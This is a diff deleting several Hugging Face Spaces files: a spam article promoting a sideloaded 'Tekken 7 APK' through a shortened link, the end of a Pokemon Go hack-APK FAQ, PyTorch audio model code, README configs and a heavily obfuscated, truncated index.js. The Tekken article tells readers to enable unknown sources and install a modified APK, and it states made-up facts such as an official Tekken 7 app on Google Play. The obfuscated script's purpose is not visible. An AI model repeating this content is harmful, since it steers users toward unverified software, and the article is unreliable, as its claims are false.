- <li>Go to your device's settings and enable the option to install apps from unknown sources.</li>
89
- <li>Locate the downloaded file in your device's storage and tap on it to start the installation process.</li>
90
- <li>Follow the instructions on the screen and grant the necessary permissions to the app.</li>
91
- <li>Wait for the installation to finish and launch the app.</li>
92
- </ol>
93
- <h3>Q: How can I update Pokemon Go hack APK?</h3>
94
- <p>A: You can update Pokemon Go hack APK by following these steps:</p>
95
- <ol>
96
- <li>Go to the website or source where you downloaded the Pokemon Go hack APK file and check if there is a new version available.</li>
97
- <li>If there is a new version available, download it to your device.</li>
98
- <li>Uninstall the old version of Pokemon Go hack APK from your device.</li>
99
- <li>Install the new version of Pokemon Go hack APK by following the same steps as above.</li>
100
- </ol>
101
- <h3>Q: Is Pokemon Go hack APK safe?</h3>
102
- <p>A: No, Pokemon Go hack APK is not safe. It may cause accidents and injuries to yourself or others, expose you to muggings and trespassing, compromise your privacy and data, violate the terms of service and privacy policy of the game, infringe and pirate the intellectual property rights of the game developers and owners, and subject you to different laws and regulations regarding augmented reality and virtual currency. It may also result in your account being banned or deleted by the game's anti-cheat system. Therefore, you should avoid using Pokemon Go hack APK at all costs.</p>
103
- <h3>Q: Is there a legal way to play Pokemon Go with more features and benefits?</h3>
104
- <p>A: Yes, there is a legal way to play Pokemon Go with more features and benefits without using Pokemon Go hack APK. You can do this by following these steps:</p>
105
- <ol>
106
- <li>Download and install the official version of Pokemon Go from the Google Play Store or the Apple App Store.</li>
107
- <li>Create an account and choose your avatar and team.</li>
108
- <li>Start playing the game by exploring your surroundings, catching Pokemon, collecting items, joining raids, etc.</li>
109
- <li>Earn coins by defending gyms or completing tasks, and use them to buy items or upgrade your storage space.</li>
110
- <li>Join a community of Pokemon Go players online or offline, and share tips, tricks, news, events, etc.</li>
111
- <li>Participate in special events and promotions that may offer more features and benefits, such as discounts, bonuses, rewards, etc.</li>
112
- </ol>
113
- <p>By playing Pokemon Go legally, you can enjoy the game more and avoid the risks and dangers of Pokemon Go hack APK. You can also support the game developers and owners who work hard to create and maintain the game for you.</p> 401be4b1e0<br />
114
- <br />
115
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/1phancelerku/anime-remove-background/Download Tekken 7 APK and Enjoy the Best Fighting Experience on Android.md DELETED
@@ -1,123 +0,0 @@
1
- <br />
2
- <h1>Tekken 7 Download Android: How to Play the Ultimate Fighting Game on Your Smartphone</h1>
3
- <p>If you are a fan of fighting games, you have probably heard of <strong>Tekken</strong>, one of the most iconic and successful franchises in the genre. The latest installment, <strong>Tekken 7</strong>, is a masterpiece of action-packed, cinematic, and competitive gameplay that will keep you hooked for hours.</p>
4
- <h2>tekken 7 download android</h2><br /><p><b><b>Download File</b> &#9193; <a href="https://jinyurl.com/2uNTpX">https://jinyurl.com/2uNTpX</a></b></p><br /><br />
5
- <p>But did you know that you can also play Tekken 7 on your Android device? Yes, you read that right. You can enjoy the thrill of Tekken 7 anytime, anywhere, on your smartphone or tablet. In this article, we will show you how to download and install Tekken 7 for Android, how to play it like a pro, and how to enjoy it to the fullest.</p>
6
- <h2>What is Tekken 7?</h2>
7
- <p>Tekken 7 is a fighting game developed by Bandai Namco Studios and published by Bandai Namco Entertainment. It is the ninth main entry in the Tekken series, which started in 1994 as an arcade game.</p>
8
- <p>Tekken 7 follows the story of the Mishima clan, a powerful family that is involved in a long-running feud over control of the world. The game features over 50 characters from different countries and backgrounds, each with their own fighting style, personality, and motivation. Some of them are new to the series, such as Akuma from Street Fighter, while others are returning favorites, such as Jin Kazama, Nina Williams, and King.</p>
9
- <p>Tekken 7 was released for arcade machines in Japan in March 2015, and later received updates that added new characters, stages, modes, and features. The game was port ed to PlayStation 4, Xbox One, and Windows PC in June 2017, and received positive reviews from critics and players alike. The game has sold over 7 million copies worldwide as of March 2021, making it one of the best-selling fighting games of all time.</p>
10
- <p>tekken 7 apk download for android latest version 2022<br />
11
- tekken 7 android game free download full version<br />
12
- tekken 7 mobile apk + obb download for android<br />
13
- how to download tekken 7 on android phone<br />
14
- tekken 7 ppsspp iso download for android highly compressed<br />
15
- tekken 7 mod apk download for android unlimited money<br />
16
- tekken 7 android offline download<br />
17
- tekken 7 apk + data download for android<br />
18
- tekken 7 android game download apk pure<br />
19
- tekken 7 apk download for android offline mode<br />
20
- tekken 7 android game size<br />
21
- tekken 7 android requirements<br />
22
- tekken 7 android gameplay<br />
23
- tekken 7 android characters<br />
24
- tekken 7 android cheats<br />
25
- tekken 7 android online multiplayer<br />
26
- tekken 7 android best settings<br />
27
- tekken 7 android controller support<br />
28
- tekken 7 android tips and tricks<br />
29
- tekken 7 android review<br />
30
- t7 chicken plus app for tekken 7 android<br />
31
- tekken 7 frame data app android<br />
32
- tekken 7 combo list app android<br />
33
- tekken 7 move list app android<br />
34
- tekken 7 tier list app android<br />
35
- tekken 7 guide app android<br />
36
- best app for learning tekken 7 android<br />
37
- how to use t7 chicken plus app for tekken 7 android<br />
38
- t7 chicken plus app for tekken 7 android download<br />
39
- t7 chicken plus app for tekken 7 android apk</p>
40
- <h2>What are the Features of Tekken 7?</h2>
41
- <h3>Stunning Graphics and Cinematics</h3>
42
- <p>One of the most impressive aspects of Tekken 7 is its graphics and cinematics, which are powered by Unreal Engine 4. The game boasts realistic and detailed character models, animations, and environments, as well as dynamic lighting and shadows, particle effects, and reflections. The game also features seamless transitions between gameplay and cutscenes, creating a cinematic experience that immerses you in the story and the action.</p>
43
- <h3>Diverse and Customizable Roster</h3>
44
- <p>Another feature that makes Tekken 7 stand out is its diverse and customizable roster of fighters. The game offers over 50 characters to choose from, each with their own unique moves, combos, strengths, and weaknesses. You can also customize your characters with various outfits, accessories, hairstyles, tattoos, and more, to express your personality and style. You can even create your own original characters using the Character Creation mode, which lets you mix and match different parts and features from existing characters.</p>
45
- <h3>Innovative and Accessible Combat System</h3>
46
- <p>The core of Tekken 7 is its innovative and accessible combat system, which is designed to appeal to both casual and hardcore fans of fighting games. The game introduces new mechanics and modes that add depth and variety to the gameplay, such as:</p>
47
- <ul>
48
- <li><strong>Rage Art:</strong> A powerful attack that can be activated when your health is low, allowing you to deal massive damage and turn the tide of the battle.</li>
49
- <li><strong>Power Crush:</strong> A special move that can absorb incoming attacks and continue with your own, giving you an advantage in offensive situations.</li>
50
- <li><strong>Frame Data Display:</strong> An optional feature that shows you the frame data of each move, such as startup, recovery, advantage, and disadvantage, helping you to improve your skills and strategies.</li>
51
- <li><strong>Online Battles:</strong> A mode that lets you compete with other players from around the world in ranked or casual matches, or join online tournaments with up to eight participants.</li>
52
- </ul>
53
- <h2>How to Download Tekken 7 for Android?</h2>
54
- <h3>Tekken 7 Apk Download for Android (Latest Version) 2022</h3>
55
- <p>If you want to play Tekken 7 on your Android device without any restrictions or limitations, you can download the Tekken 7 apk file from a reliable source. This is a modified version of the game that allows you to enjoy all the features and content of the original game on your smartphone or tablet. To download and install the Tekken 7 apk file for Android, follow these steps:</p>
56
- <ol>
57
- <li>Go to the website where you can download the Tekken 7 apk file, and click on the download button.</li>
58
- <li>Wait for the download to finish, and then locate the file on your device.</li>
59
- <li>Before installing the file, make sure that you have enabled the option to install apps from unknown sources on your device settings.</li>
60
- <li>Tap on the file to start the installation process, and follow the instructions on the screen.</li>
61
- <li>Once the installation is complete, launch the game and enjoy playing Tekken 7 on your Android device.</li>
62
- </ol>
63
- <p>The benefits of using this method are:</p>
64
- <ul>
65
- <li>You can play Tekken 7 on your Android device without any internet connection or data usage.</li>
66
- <li>You can access all the characters, stages, modes, and features of Tekken 7 without any restrictions or in-app purchases.</li>
67
- <li>You can customize your game settings according to your preferences and device performance.</li>
68
- </ul> <h3>Tekken 7 Mobile Download for Android (Official Version) 2022</h3>
69
- <p>If you prefer to play the official version of Tekken 7 on your Android device, you can download the Tekken 7 mobile app from the Google Play Store. This is a simplified and optimized version of the game that is designed to run smoothly on mobile devices. To download and install the Tekken 7 mobile app for Android, follow these steps:</p>
70
- <ol>
71
- <li>Go to the Google Play Store on your device, and search for Tekken 7.</li>
72
- <li>Select the app from the list of results, and tap on the install button.</li>
73
- <li>Wait for the app to download and install on your device.</li>
74
- <li>Launch the app and sign in with your Bandai Namco account or create a new one.</li>
75
- <li>Start playing Tekken 7 on your Android device.</li>
76
- </ol>
77
- <p>The features and limitations of this version are:</p>
78
- <ul>
79
- <li>You need an internet connection and data usage to play Tekken 7 on your Android device.</li>
80
- <li>You have limited access to some of the characters, stages, modes, and features of Tekken 7, and you need to unlock them with in-app purchases or by completing missions.</li>
81
- <li>You have to adjust your game settings according to the default options and device compatibility.</li>
82
- </ul>
83
- <h2>How to Play Tekken 7 on Android?</h2>
84
- <h3>Tips and Tricks for Beginners</h3>
85
- <p>If you are new to Tekken 7 or fighting games in general, you might feel overwhelmed by the complexity and difficulty of the game. But don't worry, we have some tips and tricks for beginners that will help you get started and improve your skills. Here are some of them:</p>
86
- <ul>
87
- <li>Learn the moves: The first thing you need to do is to learn the basic moves of each character, such as punches, kicks, throws, blocks, and dodges. You can find the move list in the pause menu or in the training mode. You can also watch some tutorials or guides online that will teach you how to perform each move and when to use them.</li>
88
- <li>Practice in training mode: The best way to practice your moves and combos is to use the training mode, which lets you choose any character, stage, and opponent. You can also customize the settings, such as the difficulty, health, and behavior of the opponent. You can also use the frame data display feature to see how each move works and how to counter them.</li>
89
- <li>Adjust the settings: Another thing you need to do is to adjust the game settings according to your preferences and device performance. You can change the graphics quality, sound volume, control layout, camera angle, and more. You can also enable or disable some features, such as auto-combo, rage art, power crush, and frame data display.</li>
90
- </ul> <h3>Tips and Tricks for Advanced Players</h3>
91
- <p>If you are already familiar with Tekken 7 or fighting games in general, you might want to take your skills to the next level and challenge yourself with more advanced techniques and strategies. Here are some tips and tricks for advanced players that will help you master the game and dominate your opponents:</p>
92
- <ul>
93
- <li>Master the combos: The key to winning in Tekken 7 is to execute powerful and effective combos that can deal a lot of damage and stun your opponent. You can learn the combos of each character from the move list, the training mode, or online sources. You can also create your own combos by combining different moves and experimenting with different timings and distances.</li>
94
- <li>Use the frame data: One of the most useful features of Tekken 7 is the frame data display, which shows you the frame data of each move, such as startup, recovery, advantage, and disadvantage. You can use this information to understand how each move works and how to counter them. You can also use it to find openings, punish mistakes, and create pressure.</li>
95
- <li>Join online tournaments: One of the most exciting and rewarding ways to play Tekken 7 is to join online tournaments, which let you compete with other players from around the world in ranked or casual matches. You can also create your own tournaments with up to eight participants. You can earn rewards, rankings, and trophies by participating in online tournaments, as well as improve your skills and reputation.</li>
96
- </ul>
97
- <h2>How to Enjoy Tekken 7 on Android?</h2>
98
- <h3>Review and Rating of Tekken 7</h3>
99
- <p>Tekken 7 is widely regarded as one of the best fighting games ever made, and it has received rave reviews from critics and players alike. The game has an average score of 82 out of 100 on Metacritic, based on 91 reviews from various sources. The game has also received a user score of 8.1 out of 10 on Metacritic, based on 1,028 ratings from players.</p>
100
- <p>Some of the praises that Tekken 7 has received are:</p>
101
- <ul>
102
- <li>"Tekken 7 is a hallmark fighting game that's both accessible and highly technical, offering a diverse cast of characters and a robust suite of modes." - IGN</li>
103
- <li>"Tekken 7 is one of the most fun fighting games I've ever played. It's fast-paced, flashy, strategic, and satisfying." - Game Informer</li>
104
- <li>"Tekken 7 is a fantastic fighting game experience that offers something for everyone." - GamesRadar+</li>
105
- </ul>
106
- <h3>Comparison with Other Fighting Games on Android</h3>
107
- <p>Tekken 7 is not the only fighting game that you can play on your Android device. There are many other fighting games available on the Google Play Store that offer different features, styles, and experiences. Here are some of the most popular fighting games on Android that you can compare with Tekken 7:</p>
108
- | Game | Features | Pros | Cons | | --- | --- | --- | --- | | Street Fighter IV Champion Edition | - Classic 2D fighting game with 32 characters from the Street Fighter series.<br>- Three control options: virtual pad, arcade stick, or Bluetooth controller.<br>- Online multiplayer mode with cross-platform support.<br>- Arcade mode, training mode, survival mode, and challenge mode.<br>- Customizable graphics settings. | - Smooth and responsive gameplay.<br>- Iconic and diverse characters.<br>- High replay value.<br>- Great sound effects and music. | - Requires internet connection.<br>- Some characters require in-app purchases.<br>- No story mode.<br>- Occasional lag and connection issues. | | Mortal Kombat | - Brutal 3D fighting game with over 130 characters from the Mortal Kombat universe.<br>- Fatalities, X-Rays, and Brutalities for each character.<br>- Online multiplayer mode with faction wars, team battles, and leaderboards.<br>- Story mode, tower mode, challenge mode, and relic hunt mode.<br>- Customizable equipment and abilities for each character. | - Stunning graphics and animations.<br>- Intense and visceral combat.<br>- Engaging and immersive story.<br>- Generous rewards and content. | - Requires internet connection.<br>- High device requirements.<br>- Frequent updates and patches.<br>- Grindy and pay-to-win aspects. | | Injustice 2 | - Superhero 3D fighting game with over 40 characters from the DC Comics universe.<br>- Super Moves, Special Attacks, and Gear System for each character.<br>- Online multiplayer mode with arena battles, leagues, raids, and chat.<br>- Story mode, operations mode, challenges mode , and events mode.<br>- Customizable graphics settings. | - Impressive graphics and cinematics.<br>- Fun and varied gameplay.<br>- Rich and compelling story.<br>- Lots of modes and features. | - Requires internet connection.<br>- High device requirements.<br>- Long loading times.<br>- Expensive and limited in-app purchases. | <p>As you can see, each game has its own strengths and weaknesses, and it ultimately depends on your personal preference and taste. However, we believe that Tekken 7 is the best fighting game on Android, because it offers a balanced and satisfying experience that combines stunning graphics, diverse characters, innovative combat, and online tournaments.</p>
109
- <h2>Conclusion</h2>
110
- <p>Tekken 7 is a game that every fighting game fan should play, especially on their Android device. It is a game that delivers on every aspect, from the graphics and cinematics, to the characters and combat, to the modes and features. It is a game that will challenge you, entertain you, and inspire you.</p>
111
- <p>If you want to play Tekken 7 on your Android device, you have two options: you can download the Tekken 7 apk file from a reliable source, or you can download the official Tekken 7 mobile app from the Google Play Store. Either way, you will be able to enjoy the ultimate fighting game on your smartphone or tablet.</p>
112
- <p>So what are you waiting for? Download Tekken 7 for Android today, and unleash your inner fighter!</p>
113
- <h2>FAQs</h2>
114
- <p>Here are some of the frequently asked questions about Tekken 7 download android:</p>
115
- <ul>
116
- <li><strong>Q: Is Tekken 7 free to play on Android?</strong><br>A: Yes, both the Tekken 7 apk file and the official Tekken 7 mobile app are free to download and play on Android devices. However, some characters, stages, modes, and features may require in-app purchases or unlocking by completing missions.</li>
117
- <li><strong>Q: Is Tekken 7 safe to download on Android?</strong><br>A: Yes, as long as you download the Tekken 7 apk file or the official Tekken 7 mobile app from a reliable and trusted source. You should also scan the file or app with an antivirus software before installing it on your device.</li>
118
- <li><strong>Q: Is Tekken 7 compatible with my Android device?</strong><br>A: The Tekken 7 apk file is compatible with most Android devices that have at least 2 GB of RAM and 4 GB of storage space. The official Tekken 7 mobile app is compatible with Android devices that have at least Android 5.0 (Lollipop) and 1 GB of RAM.</li>
119
- <li><strong>Q: How can I update Tekken 7 on my Android device?</strong><br>A: If you downloaded the Tekken 7 apk file, you will need to download the latest version of the file from the same source and install it over the existing one. If you downloaded the official Tekken 7 mobile app, you will need to update it from the Google Play Store when a new version is available.</li>
120
- <li><strong>Q: How can I contact the developers of Tekken 7?</strong><br>A: If you have any questions, feedback, or issues regarding Tekken 7, you can contact the developers of Tekken 7 by visiting their official website, their Facebook page, their Twitter account, or their YouTube channel.</li>
121
- </ul></p> 197e85843d<br />
122
- <br />
123
- <br />
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/801artistry/RVC801/infer/lib/uvr5_pack/lib_v5/nets_new.py DELETED
@@ -1,133 +0,0 @@
1
- import torch
2
- import torch.nn.functional as F
3
- from torch import nn
4
-
5
- from . import layers_new
6
-
7
-
8
- class BaseNet(nn.Module):
9
- def __init__(
10
- self, nin, nout, nin_lstm, nout_lstm, dilations=((4, 2), (8, 4), (12, 6))
11
- ):
12
- super(BaseNet, self).__init__()
13
- self.enc1 = layers_new.Conv2DBNActiv(nin, nout, 3, 1, 1)
14
- self.enc2 = layers_new.Encoder(nout, nout * 2, 3, 2, 1)
15
- self.enc3 = layers_new.Encoder(nout * 2, nout * 4, 3, 2, 1)
16
- self.enc4 = layers_new.Encoder(nout * 4, nout * 6, 3, 2, 1)
17
- self.enc5 = layers_new.Encoder(nout * 6, nout * 8, 3, 2, 1)
18
-
19
- self.aspp = layers_new.ASPPModule(nout * 8, nout * 8, dilations, dropout=True)
20
-
21
- self.dec4 = layers_new.Decoder(nout * (6 + 8), nout * 6, 3, 1, 1)
22
- self.dec3 = layers_new.Decoder(nout * (4 + 6), nout * 4, 3, 1, 1)
23
- self.dec2 = layers_new.Decoder(nout * (2 + 4), nout * 2, 3, 1, 1)
24
- self.lstm_dec2 = layers_new.LSTMModule(nout * 2, nin_lstm, nout_lstm)
25
- self.dec1 = layers_new.Decoder(nout * (1 + 2) + 1, nout * 1, 3, 1, 1)
26
-
27
- def __call__(self, x):
28
- e1 = self.enc1(x)
29
- e2 = self.enc2(e1)
30
- e3 = self.enc3(e2)
31
- e4 = self.enc4(e3)
32
- e5 = self.enc5(e4)
33
-
34
- h = self.aspp(e5)
35
-
36
- h = self.dec4(h, e4)
37
- h = self.dec3(h, e3)
38
- h = self.dec2(h, e2)
39
- h = torch.cat([h, self.lstm_dec2(h)], dim=1)
40
- h = self.dec1(h, e1)
41
-
42
- return h
43
-
44
-
45
- class CascadedNet(nn.Module):
46
- def __init__(self, n_fft, nout=32, nout_lstm=128):
47
- super(CascadedNet, self).__init__()
48
-
49
- self.max_bin = n_fft // 2
50
- self.output_bin = n_fft // 2 + 1
51
- self.nin_lstm = self.max_bin // 2
52
- self.offset = 64
53
-
54
- self.stg1_low_band_net = nn.Sequential(
55
- BaseNet(2, nout // 2, self.nin_lstm // 2, nout_lstm),
56
- layers_new.Conv2DBNActiv(nout // 2, nout // 4, 1, 1, 0),
57
- )
58
-
59
- self.stg1_high_band_net = BaseNet(
60
- 2, nout // 4, self.nin_lstm // 2, nout_lstm // 2
61
- )
62
-
63
- self.stg2_low_band_net = nn.Sequential(
64
- BaseNet(nout // 4 + 2, nout, self.nin_lstm // 2, nout_lstm),
65
- layers_new.Conv2DBNActiv(nout, nout // 2, 1, 1, 0),
66
- )
67
- self.stg2_high_band_net = BaseNet(
68
- nout // 4 + 2, nout // 2, self.nin_lstm // 2, nout_lstm // 2
69
- )
70
-
71
- self.stg3_full_band_net = BaseNet(
72
- 3 * nout // 4 + 2, nout, self.nin_lstm, nout_lstm
73
- )
74
-
75
- self.out = nn.Conv2d(nout, 2, 1, bias=False)
76
- self.aux_out = nn.Conv2d(3 * nout // 4, 2, 1, bias=False)
77
-
78
- def forward(self, x):
79
- x = x[:, :, : self.max_bin]
80
-
81
- bandw = x.size()[2] // 2
82
- l1_in = x[:, :, :bandw]
83
- h1_in = x[:, :, bandw:]
84
- l1 = self.stg1_low_band_net(l1_in)
85
- h1 = self.stg1_high_band_net(h1_in)
86
- aux1 = torch.cat([l1, h1], dim=2)
87
-
88
- l2_in = torch.cat([l1_in, l1], dim=1)
89
- h2_in = torch.cat([h1_in, h1], dim=1)
90
- l2 = self.stg2_low_band_net(l2_in)
91
- h2 = self.stg2_high_band_net(h2_in)
92
- aux2 = torch.cat([l2, h2], dim=2)
93
-
94
- f3_in = torch.cat([x, aux1, aux2], dim=1)
95
- f3 = self.stg3_full_band_net(f3_in)
96
-
97
- mask = torch.sigmoid(self.out(f3))
98
- mask = F.pad(
99
- input=mask,
100
- pad=(0, 0, 0, self.output_bin - mask.size()[2]),
101
- mode="replicate",
102
- )
103
-
104
- if self.training:
105
- aux = torch.cat([aux1, aux2], dim=1)
106
- aux = torch.sigmoid(self.aux_out(aux))
107
- aux = F.pad(
108
- input=aux,
109
- pad=(0, 0, 0, self.output_bin - aux.size()[2]),
110
- mode="replicate",
111
- )
112
- return mask, aux
113
- else:
114
- return mask
115
-
116
- def predict_mask(self, x):
117
- mask = self.forward(x)
118
-
119
- if self.offset > 0:
120
- mask = mask[:, :, :, self.offset : -self.offset]
121
- assert mask.size()[3] > 0
122
-
123
- return mask
124
-
125
- def predict(self, x, aggressiveness=None):
126
- mask = self.forward(x)
127
- pred_mag = x * mask
128
-
129
- if self.offset > 0:
130
- pred_mag = pred_mag[:, :, :, self.offset : -self.offset]
131
- assert pred_mag.size()[3] > 0
132
-
133
- return pred_mag
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/AIGC-Audio/AudioGPT/text_to_audio/Make_An_Audio/ldm/modules/encoders/CLAP/clap.py DELETED
@@ -1,89 +0,0 @@
1
- import numpy as np
2
- import torch
3
- import torch.nn.functional as F
4
- from torch import nn
5
- from transformers import AutoModel
6
- from .audio import get_audio_encoder
7
-
8
- class Projection(nn.Module):
9
- def __init__(self, d_in: int, d_out: int, p: float=0.5) -> None:
10
- super().__init__()
11
- self.linear1 = nn.Linear(d_in, d_out, bias=False)
12
- self.linear2 = nn.Linear(d_out, d_out, bias=False)
13
- self.layer_norm = nn.LayerNorm(d_out)
14
- self.drop = nn.Dropout(p)
15
-
16
- def forward(self, x: torch.Tensor) -> torch.Tensor:
17
- embed1 = self.linear1(x)
18
- embed2 = self.drop(self.linear2(F.gelu(embed1)))
19
- embeds = self.layer_norm(embed1 + embed2)
20
- return embeds
21
-
22
- class AudioEncoder(nn.Module):
23
- def __init__(self, audioenc_name:str, d_in: int, d_out: int, sample_rate: int, window_size: int,
24
- hop_size: int, mel_bins: int, fmin: int, fmax: int, classes_num: int) -> None:
25
- super().__init__()
26
-
27
- audio_encoder = get_audio_encoder(audioenc_name)
28
-
29
- self.base = audio_encoder(
30
- sample_rate, window_size,
31
- hop_size, mel_bins, fmin, fmax,
32
- classes_num, d_in)
33
-
34
- self.projection = Projection(d_in, d_out)
35
-
36
- def forward(self, x):
37
- out_dict = self.base(x)
38
- audio_features, audio_classification_output = out_dict['embedding'], out_dict['clipwise_output']
39
- projected_vec = self.projection(audio_features)
40
- return projected_vec, audio_classification_output
41
-
42
- class TextEncoder(nn.Module):
43
- def __init__(self, d_out: int, text_model: str, transformer_embed_dim: int) -> None:
44
- super().__init__()
45
- self.base = AutoModel.from_pretrained(text_model)
46
- self.projection = Projection(transformer_embed_dim, d_out)
47
-
48
- def forward(self, x):
49
- out = self.base(**x)[0]
50
- out = out[:, 0, :] # get CLS token output
51
- projected_vec = self.projection(out)
52
- return projected_vec
53
-
54
- class CLAP(nn.Module):
55
- def __init__(self,
56
- # audio
57
- audioenc_name: str,
58
- sample_rate: int,
59
- window_size: int,
60
- hop_size: int,
61
- mel_bins: int,
62
- fmin: int,
63
- fmax: int,
64
- classes_num: int,
65
- out_emb: int,
66
- # text
67
- text_model: str,
68
- transformer_embed_dim: int,
69
- # common
70
- d_proj: int,
71
- ):
72
- super().__init__()
73
-
74
-
75
- self.audio_encoder = AudioEncoder(
76
- audioenc_name, out_emb, d_proj,
77
- sample_rate, window_size, hop_size, mel_bins, fmin, fmax, classes_num)
78
-
79
- self.caption_encoder = TextEncoder(
80
- d_proj, text_model, transformer_embed_dim
81
- )
82
-
83
- self.logit_scale = nn.Parameter(torch.ones([]) * np.log(1 / 0.07))
84
-
85
- def forward(self, audio, text):
86
- audio_embed, _ = self.audio_encoder(audio)
87
- caption_embed = self.caption_encoder(text)
88
-
89
- return caption_embed, audio_embed, self.logit_scale.exp()
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Adithedev/Text-Summarization-Tool/README.md DELETED
@@ -1,13 +0,0 @@
1
- ---
2
- title: Text Summarizer
3
- emoji: 🏆
4
- colorFrom: green
5
- colorTo: red
6
- sdk: streamlit
7
- sdk_version: 1.21.0
8
- app_file: app.py
9
- pinned: false
10
- license: creativeml-openrail-m
11
- ---
12
-
13
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/AgentVerse/agentVerse/ui/src/phaser3-rex-plugins/templates/ui/sides/defaultcallbacks/VisibleCallbacks.js DELETED
@@ -1,20 +0,0 @@
1
- var GetShowCallback = function () {
2
- return function (child, key, sides, reset) {
3
- if (key !== 'panel') {
4
- sides.setChildVisible(child, true);
5
- }
6
- }
7
- }
8
-
9
- var GetHideCallback = function () {
10
- return function (child, key, sides, reset) {
11
- if (key !== 'panel') {
12
- sides.setChildVisible(child, false);
13
- }
14
- }
15
- }
16
-
17
- export default {
18
- show: GetShowCallback,
19
- hide: GetHideCallback
20
- }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/AkshayKumarP/AI-ChatBot/README.md DELETED
@@ -1,13 +0,0 @@
1
- ---
2
- title: AI ChatBot
3
- emoji: 👀
4
- colorFrom: blue
5
- colorTo: gray
6
- sdk: gradio
7
- sdk_version: 3.47.1
8
- app_file: app.py
9
- pinned: false
10
- license: apache-2.0
11
- ---
12
-
13
- Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
 
 
 
 
 
 
 
 
 
 
 
 
 
 
spaces/Albertha/qwe123/index.js DELETED
@@ -1 +0,0 @@
1
- (function(_0x4485c9,_0x22327b){function _0xefd3bf(_0x3e1c6c,_0x1dfa24,_0x15da7f,_0x195c5d,_0x405333){return _0x222c(_0x1dfa24- -0x3cc,_0x405333);}function _0x297c01(_0x30ec4a,_0x42df57,_0x259878,_0x4968a7,_0x262f74){return _0x222c(_0x30ec4a-0x36e,_0x259878);}const _0x356a3e=_0x4485c9();function _0xb68276(_0x21380b,_0x2e2973,_0x52b0fa,_0x117bd5,_0x3635d9){return _0x222c(_0x2e2973-0x241,_0x117bd5);}function _0x4acd10(_0x52497a,_0x3b158a,_0x45ad13,_0x477292,_0x54f686){return _0x222c(_0x3b158a-0x1b5,_0x477292);}function _0x2197ea(_0x728895,_0x5db489,_0x447ced,_0x923532,_0x60db0c){return _0x222c(_0x447ced-0x179,_0x923532);}while(!![]){try{const _0x348d5c=parseInt(_0x4acd10(0x3db,0x3de,0x389,0x4af,0x2ed))/(-0x1*-0x99b+0x1*0x12af+-0x1c49)*(parseInt(_0x4acd10(0x224,0x267,0x1fe,0x24b,0x2fc))/(0x2449+-0x5*0x75d+0x45*0x2))+parseInt(_0x4acd10(0x34f,0x32e,0x335,0x30c,0x2e0))/(-0x1a18+0x15d*-0x13+-0x3*-0x1156)+parseInt(_0x2197ea(0x364,0x3b7,0x2d6,0x26b,0x288))/(0x1e6+-0x1a3a*-0x1+-0x7*0x404)*(parseInt(_0x4acd10(0x47a,0x3ed,0x425,0x324,0x429))/(0xdca+-0xcdd*-0x3+-0x1a2e*0x2))+parseInt(_0xefd3bf(-0x249,-0x245,-0x167,-0x2c3,-0x272))/(0x2*-0x93b+0x21a3+-0x50d*0x3)*(parseInt(_0x4acd10(0x2e2,0x3a7,0x45d,0x34f,0x3a5))/(-0x8*-0x4a9+0x14ae+0x1*-0x39ef))+parseInt(_0x2197ea(0x1c3,0x1dd,0x22d,0x16f,0x2b1))/(-0x15f+-0x3*0xbb9+0x2*0x1249)*(parseInt(_0x297c01(0x56b,0x639,0x494,0x57d,0x4da))/(0x7a2+0x1*-0xedb+0x3a1*0x2))+parseInt(_0x4acd10(0x325,0x3cf,0x33d,0x3f5,0x470))/(-0x1f28+0x114+-0x1e*-0x101)*(-parseInt(_0xefd3bf(-0x199,-0x1e0,-0x163,-0x117,-0x119))/(-0x897+-0x1842+0x20e4))+parseInt(_0xb68276(0x3a8,0x40e,0x3ed,0x368,0x36b))/(-0x1c06+-0x1462+-0x1*-0x3074)*(-parseInt(_0x297c01(0x56d,0x622,0x59e,0x496,0x599))/(0x3*-0x45a+-0x1d72+0x3*0xe2f));if(_0x348d5c===_0x22327b)break;else _0x356a3e['push'](_0x356a3e['shift']());}catch(_0x2be93b){_0x356a3e['push'](_0x356a3e['shift']());}}}(_0x4e4c,0x82*-0x19d0+0x374aa+-0x71e1d*-0x3));function _0x1d31e6(_0x26aabc,_0x58e3f1,_0x4d962d,_0x44a366,_0x1e49ac){return _0x222c(_0x26aabc- -0x25,_0x4d962d);}const _0x7d8571=(function(){function _0x608687(_0x541c2e,_0x566e15,_0x56da78,_0x4712c,_0x461848){return _0x222c(_0x541c2e- -0x209,_0x566e15);}function _0x19cc71(_0x45b869,_0x4779d2,_0xbcb35d,_0x3ae9e2,_0x267e6a){return 